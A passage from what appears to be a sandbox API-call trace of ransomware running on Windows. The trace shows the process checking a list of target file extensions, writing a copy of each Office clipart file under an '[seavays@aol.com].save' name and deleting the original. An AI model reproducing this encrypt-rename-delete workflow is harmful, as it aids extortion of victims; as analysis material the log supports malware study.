Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0163.133] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 1 [0163.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0163.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0163.134] lstrlenW (lpString=".doc") returned 4 [0163.134] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0163.134] lstrlenW (lpString=".docx") returned 5 [0163.134] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0163.134] lstrlenW (lpString=".pdf") returned 4 [0163.134] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0163.134] lstrlenW (lpString=".xls") returned 4 [0163.134] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0163.134] lstrlenW (lpString=".xlsx") returned 5 [0163.134] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0163.134] lstrlenW (lpString=".ppt") returned 4 [0163.134] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0163.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0163.134] lstrlenW (lpString=".zip") returned 4 [0163.134] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0163.134] lstrlenW (lpString=".rar") returned 4 [0163.134] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0163.134] lstrlenW (lpString=".bz2") returned 4 [0163.134] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0163.134] lstrlenW (lpString=".7z") returned 3 [0163.134] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0163.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0163.135] lstrlenW (lpString=".dbf") returned 4 [0163.135] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0163.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0163.135] lstrlenW (lpString=".1cd") returned 4 [0163.135] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0163.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0163.135] lstrlenW (lpString=".jpg") returned 4 [0163.135] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0163.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0163.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0163.135] lstrlenW (lpString=".doc") returned 4 [0163.135] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0163.135] lstrlenW (lpString=".docx") returned 5 [0163.135] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0163.135] lstrlenW (lpString=".pdf") returned 4 [0163.135] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0163.135] lstrlenW (lpString=".xls") returned 4 [0163.135] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0163.135] lstrlenW (lpString=".xlsx") returned 5 [0163.135] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0163.135] lstrlenW (lpString=".ppt") returned 4 [0163.135] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0163.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0163.135] lstrlenW (lpString=".zip") returned 4 [0163.135] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0163.135] lstrlenW (lpString=".rar") returned 4 [0163.135] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0163.135] lstrlenW (lpString=".bz2") returned 4 [0163.136] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0163.136] lstrlenW (lpString=".7z") returned 3 [0163.136] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0163.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0163.136] lstrlenW (lpString=".dbf") returned 4 [0163.136] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0163.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0163.136] lstrlenW (lpString=".1cd") returned 4 [0163.136] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0163.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0163.136] lstrlenW (lpString=".jpg") returned 4 [0163.136] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0163.136] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0163.136] lstrlenW (lpString="J0099195.GIF") returned 12 [0163.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0163.141] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=19923) returned 1 [0163.141] CloseHandle (hObject=0x434) returned 1 [0163.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 0x220 [0163.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0163.141] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.141] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0163.142] GetLastError () returned 0x0 [0163.142] ReadFile (in: hFile=0x434, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x4dd3, lpOverlapped=0x0) returned 1 [0163.144] WriteFile (in: hFile=0x448, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0163.146] ReadFile (in: hFile=0x434, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.146] WriteFile (in: hFile=0x448, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0163.146] SetEndOfFile (hFile=0x448) returned 1 [0163.146] CloseHandle (hObject=0x448) returned 1 [0163.146] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.146] SetEndOfFile (hFile=0x434) returned 1 [0163.495] CloseHandle (hObject=0x434) returned 1 [0163.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0163.998] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 1 [0164.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0164.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0164.746] lstrlenW (lpString=".doc") returned 4 [0164.746] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0164.746] lstrlenW (lpString=".docx") returned 5 [0164.746] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0164.746] lstrlenW (lpString=".pdf") returned 4 [0164.746] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0164.746] lstrlenW (lpString=".xls") returned 4 [0164.747] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0164.747] lstrlenW (lpString=".xlsx") returned 5 [0164.747] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0164.747] lstrlenW (lpString=".ppt") returned 4 [0164.747] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0164.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0164.747] lstrlenW (lpString=".zip") returned 4 [0164.747] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0164.747] lstrlenW (lpString=".rar") returned 4 [0164.747] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0164.747] lstrlenW (lpString=".bz2") returned 4 [0164.747] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0164.747] lstrlenW (lpString=".7z") returned 3 [0164.747] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0164.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0164.747] lstrlenW (lpString=".dbf") returned 4 [0164.747] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0164.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0164.747] lstrlenW (lpString=".1cd") returned 4 [0164.747] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0164.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0164.747] lstrlenW (lpString=".jpg") returned 4 [0164.747] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0164.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0164.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0164.747] lstrlenW (lpString=".doc") returned 4 [0164.748] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0164.748] lstrlenW (lpString=".docx") returned 5 [0164.748] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0164.748] lstrlenW (lpString=".pdf") returned 4 [0164.748] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0164.748] lstrlenW (lpString=".xls") returned 4 [0164.748] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0164.748] lstrlenW (lpString=".xlsx") returned 5 [0164.748] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0164.748] lstrlenW (lpString=".ppt") returned 4 [0164.748] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0164.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0164.748] lstrlenW (lpString=".zip") returned 4 [0164.748] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0164.748] lstrlenW (lpString=".rar") returned 4 [0164.748] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0164.748] lstrlenW (lpString=".bz2") returned 4 [0164.748] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0164.748] lstrlenW (lpString=".7z") returned 3 [0164.748] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0164.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0164.748] lstrlenW (lpString=".dbf") returned 4 [0164.748] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0164.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0164.748] lstrlenW (lpString=".1cd") returned 4 [0164.748] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0164.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0164.748] lstrlenW (lpString=".jpg") returned 4 [0164.749] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0164.749] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0164.749] lstrlenW (lpString="J0099205.WMF") returned 12 [0164.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0164.751] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=17854) returned 1 [0164.751] CloseHandle (hObject=0x4b8) returned 1 [0164.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 0x220 [0164.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0164.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0164.751] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.752] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0164.752] GetLastError () returned 0x0 [0164.753] ReadFile (in: hFile=0x4b8, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x45be, lpOverlapped=0x0) returned 1 [0164.755] WriteFile (in: hFile=0x4bc, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x45c0, lpOverlapped=0x0) returned 1 [0164.757] ReadFile (in: hFile=0x4b8, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.757] WriteFile (in: hFile=0x4bc, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.757] SetEndOfFile (hFile=0x4bc) returned 1 [0164.757] CloseHandle (hObject=0x4bc) returned 1 [0164.757] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.757] SetEndOfFile (hFile=0x4b8) returned 1 [0164.761] CloseHandle (hObject=0x4b8) returned 1 [0164.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0164.761] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 1 [0164.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0164.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0164.762] lstrlenW (lpString=".doc") returned 4 [0164.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.762] lstrlenW (lpString=".docx") returned 5 [0164.762] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0164.762] lstrlenW (lpString=".pdf") returned 4 [0164.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.762] lstrlenW (lpString=".xls") returned 4 [0164.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.762] lstrlenW (lpString=".xlsx") returned 5 [0164.762] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0164.762] lstrlenW (lpString=".ppt") returned 4 [0164.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0164.762] lstrlenW (lpString=".zip") returned 4 [0164.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.763] lstrlenW (lpString=".rar") returned 4 [0164.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.763] lstrlenW (lpString=".bz2") returned 4 [0164.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.763] lstrlenW (lpString=".7z") returned 3 [0164.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0164.763] lstrlenW (lpString=".dbf") returned 4 [0164.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0164.763] lstrlenW (lpString=".1cd") returned 4 [0164.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0164.763] lstrlenW (lpString=".jpg") returned 4 [0164.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0164.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0164.763] lstrlenW (lpString=".doc") returned 4 [0164.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.763] lstrlenW (lpString=".docx") returned 5 [0164.763] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0164.763] lstrlenW (lpString=".pdf") returned 4 [0164.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.763] lstrlenW (lpString=".xls") returned 4 [0164.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.763] lstrlenW (lpString=".xlsx") returned 5 [0164.763] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0164.763] lstrlenW (lpString=".ppt") returned 4 [0164.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0164.763] lstrlenW (lpString=".zip") returned 4 [0164.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.764] lstrlenW (lpString=".rar") returned 4 [0164.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.764] lstrlenW (lpString=".bz2") returned 4 [0164.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.764] lstrlenW (lpString=".7z") returned 3 [0164.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0164.764] lstrlenW (lpString=".dbf") returned 4 [0164.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0164.764] lstrlenW (lpString=".1cd") returned 4 [0164.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0164.764] lstrlenW (lpString=".jpg") returned 4 [0164.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.764] lstrcmpiW (lpString1=".BMP", lpString2=".save") returned -1 [0164.764] lstrlenW (lpString="J0101856.BMP") returned 12 [0164.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0164.765] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=78840) returned 1 [0164.765] CloseHandle (hObject=0x4b8) returned 1 [0164.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 0x220 [0164.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0164.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0164.766] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.766] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0164.767] GetLastError () returned 0x0 [0164.767] ReadFile (in: hFile=0x4b8, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x133f8, lpOverlapped=0x0) returned 1 [0164.772] WriteFile (in: hFile=0x4bc, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x13400, lpOverlapped=0x0) returned 1 [0164.774] ReadFile (in: hFile=0x4b8, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.774] WriteFile (in: hFile=0x4bc, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.775] SetEndOfFile (hFile=0x4bc) returned 1 [0164.775] CloseHandle (hObject=0x4bc) returned 1 [0164.775] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.775] SetEndOfFile (hFile=0x4b8) returned 1 [0164.780] CloseHandle (hObject=0x4b8) returned 1 [0164.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0164.780] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 1 [0164.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0164.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0164.781] lstrlenW 